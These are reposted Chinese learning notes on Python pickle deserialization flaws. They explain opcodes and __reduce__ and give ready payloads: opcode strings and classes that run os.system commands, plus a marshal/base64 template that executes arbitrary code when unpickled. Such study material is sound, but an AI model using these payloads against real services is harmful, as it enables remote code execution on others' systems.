Python 反序列化漏洞學習筆記


參考文章

一篇文章帶你理解漏洞之 Python 反序列化漏洞
Python Pickle/CPickle 反序列化漏洞
Python反序列化安全問題
pickle反序列化初探

前言

上面看完,請忽略下面的內容

Python 中有很多能進行序列化的模塊,比如 Json、pickle/cPickle、ShelveMarshal

一般 pickle 模塊較常使用
在 pickle 模塊中 , 常用以下四個方法

  • pickle.dump(obj, file) : 將對象序列化后保存到文件
  • pickle.load(file) : 讀取文件, 將文件中的序列化內容反序列化為對象
  • pickle.dumps(obj) : 將對象序列化成字符串格式的字節流
  • pickle.loads(bytes_obj) : 將字符串格式的字節流反序列化為對象
    注意:file文件需要以 2 進制方式打開,如 wbrb

序列化

  1. 從對象提取所有屬性,並將屬性轉化為鍵值對
  2. 寫入對象的類名
  3. 寫入鍵值對

看到下面這個序列化例子

py3 序列化后結果為:

b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x051ndex\x94\x8c\x03age\x94K\x12ub.'

py2 序列化后結果為:

(i__main__
Test
p0
(dp1
S'age'
p2
I18
sS'name'
p3
S'1ndex'
p4
sb.

這么一大串字符代表什么意思呢?可以簡單的與 PHP 反序列化結果做類比 ----> 特定的字符開頭幫助解釋器指明特定的操作或內容
實際上這是一串 PVM 操作碼

以 py2 運行得到的序列化結果 其中某些行的開頭的字符具有特殊含義

符號 含義 形式 例子
c 導入模塊及其具體對象 c[module]\n[instance]\n cos\nsystem\n
( 左括號
t 相當於),與(組合構成一個元組
R 表示反序列化時依據 reduce 中的方式完成反序列化,會避免報錯 這在反序列化漏洞中很重要 很重要
S 代表一個字符串 S'string'\n
p 后面接一個數字,代表第n塊堆棧 p0、p1
. 表示結束 .

例如:

cos\nsystem\n(S'whoami'\ntR.

反序列化

  1. 獲取 pickle 輸入流,也就是上面說的 PVM 碼
  2. 重建屬性列表
  3. 根據類名創建一個新的對象
  4. 將屬性復制到新的對象中

反序列化時,將字符串(pickle 流)轉換為對象

PHP 序列化相似,Python 序列化也是將對象轉換成具有特定格式的字符串(py2)或字節流(py3),以便於傳輸與存儲,比如 session

但是在反序列化時又與 PHP 反序列化又有所不同:

  • PHP 反序列化要求源代碼中必須存在有問題的類,要求是被反序列化的對象中存在可控參數,具體可看這里
  • 而 Python 反序列化不需要,其只要求被反序列化的字符可控即可造成 RCE,例如:
# Python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."  # 將被反序列化的字符串
pickle.loads(s)  # 反序列化后即可造成命令執行,因此網站對要被反序列化的字符串應該做嚴格限制

在 Python 中,一切皆對象,因此能使用 pickle 序列化的數據類型有很多

  • None、True 和 False
  • 整數、浮點數、復數
  • str、byte、bytearray
  • 只包含可封存對象的集合,包括 tuple、list、set 和 dict
  • 定義在模塊最外層的函數(使用 def 定義,lambda 函數則不可以)
  • 定義在模塊最外層的內置函數
  • 定義在模塊最外層的類
  • 某些類實例,這些類的 __dict__ 屬性值或 __getstate__() 函數的返回值可以被封存

其中文件、套接字、以及代碼對象不能被序列化!

Why

Python 反序列化漏洞跟 __reduce__() 魔術方法相關
其類似於 PHP 對象中的 __wakeup() 方法,會在反序列化時自動調用
__reduce__() 魔術方法可以返回一個字符串或者時一個元組。其中返回元組時,第一個參數為一個可調用對象,第二個參數為該對象所需要的參數

When

關鍵問題就在 __reduce__ 方法第二種返回方式---元組。在反序列化時自動調用 __reduce__() 方法,該方法會自動調用返回值中的函數模塊並執行
例如下面存的代碼:

import pickle
import os

class Rce(object): 
    def __reduce__(self):
        return (os.system,('ipconfig',))

a = Rce()
b = pickle.dumps(a)
pickle.loads(b)  # 執行該語句進行反序列化,自動執行 __reduce__ 方法,並且執行 os.system('ipconfig')

注意點:元類無法在反序列化時調用 __reduce__ 魔術方法,簡單理解就是沒有繼承 object 的類

class A():
    pass  # 反序列化時不會調用 __reduce__ 方法
class B(object):
    pass  # 反序列化時會調用 __reduce__ 方法

由於 Python 反序列化時只需要被反序列化的字符串可控(而不需要源代碼中存在有安全問題的類)便可造成 RCE
因此我們可以通過如下代碼輕松構造 Payload:

import pickle
import os

class Rce(object): 
    def __reduce__(self):
        return (os.system,('ipconfig',))

a = Rce()
b = pickle.dumps(a)
print(b)

特性

  1. 看到如下兩種不同的序列化結果:
import pickle
import os
class Rce(object):
	name = "1ndex"
a = Rce()
print(pickle.dumps(a))

結果:

ccopy_reg\n_reconstructor\np0\n(c__main__\nRce\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n.
import pickle
import os
class Rce(object):
	name = "1ndex"
	def __reduce__(self):
		return (os.system,("ifconfig",))
a = Rce()
print(pickle.dumps(a))

結果:

cposix\nsystem\np0\n(S'ifconfig'\np1\ntp2\nRp3\n.         

然后用下面這個代碼執行反序列化:

import pickle
str = "填寫上面序列化后的結果"
pickle.loads(str)

一 對應的結果反序列化:

AttributeError: 'module' object has no attribute 'Rce'  # 報錯

二 對應的結果反序列化成功

一般來說反序列化時如果源代碼中沒有對應的類 Rce,是會直接報錯的(也就是上面一的結果),但是為什么在反序列化二的時候卻能成功呢?源代碼中明明也沒有這個 Rce 的類啊

當序列化以及反序列化的過程中碰到一無所知的擴展類型/類的時候,可以通過類中定義的 __reduce__ 方法來告知如何進行序列化或者反序列化
也就是說我們,只要在類中定義一個 reduce 方法,我們就能在反序列化時,讓這個類根據我們在__reduce__ 中指定的方式進行序列化(也就會執行 return 中的惡意代碼)

這應該就是大佬說的相似:

Python 除了能反序列化當前代碼中出現的類(包括通過 import的方式引入的模塊中的類)的對象以外,還能利用其徹底的面向對象的特性來反序列化使用 types 創建的匿名對象,這樣的話就大大拓寬了我們的攻擊面。

  1. 反序列化執行 reduce 魔術方法,在 return 時,回自動導入源代碼中沒有引入的模塊,例如:
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."  # 將被反序列化的字符串
pickle.loads(s)  # 實際上會執行 os.system('whoami'),但是可以看到源代碼中並未導入 os 模塊

Solution

  • 嚴格控制要被反序列化的字符串

利用

執行命令

import pickle
import os
class Rce(object):
	def __reduce__(self):
		return (commands.getoutput,("whoami",))
a = Rce()
print(pickle.dumps(a))

執行任意 Python 代碼

import marshal
import base64

def code():
    # 這里放任意想執行的 Python 代碼
    pass

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM